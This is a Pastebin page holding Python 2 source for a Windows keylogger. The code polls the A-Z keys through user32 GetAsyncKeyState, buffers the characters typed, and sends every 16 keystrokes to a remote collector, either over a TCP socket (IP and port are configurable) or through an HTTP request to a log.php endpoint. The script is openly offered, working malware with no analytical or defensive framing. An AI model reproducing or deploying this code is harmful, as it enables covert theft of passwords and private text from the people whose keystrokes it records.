Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from ctypes import *
- from ctypes.wintypes import *
- from socket import *
- from urllib import urlopen
- user32=cdll.user32
- SEND="sock" #"http"
- IP="127.0.0.1"
- PORT=1337
- HTTPSERV=""
- def sendkeys(keys):
- if SEND=="sock":
- try:
- s = socket(AF_INET, SOCK_STREAM)
- s.connect((IP, PORT))
- s.send(keys)
- s.close()
- except:
- return
- elif SEND=="http":
- try:
- urlopen(HTTPSERV+"\/log.php?keys="+keys)
- except:
- return
- print keys
- keys=""
- #These lists and ints keep track on the keys that are currently down
- registry=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
- caps=0
- shift=0
- esc=0
- enter=0
- space=0
- alt=0
- altgr=0
- delete=0
- backspace=0
- while 1:
- user32.GetAsyncKeyState.restype = WORD
- #Read A-Z
- for i in range(65, 91):
- state=user32.GetAsyncKeyState(i)
- j=i-65 #Registry index
- #Key just got pressed
- if state and registry[j] == 0:
- keys += chr(i+32)
- registry[j] = 1
- #Key just got released
- elif not state and registry[j]==1:
- registry[j] = 0
- if len(keys)==16:
- sendkeys(keys)
- keys=""
Advertisement
Add Comment
Please, Sign In to add comment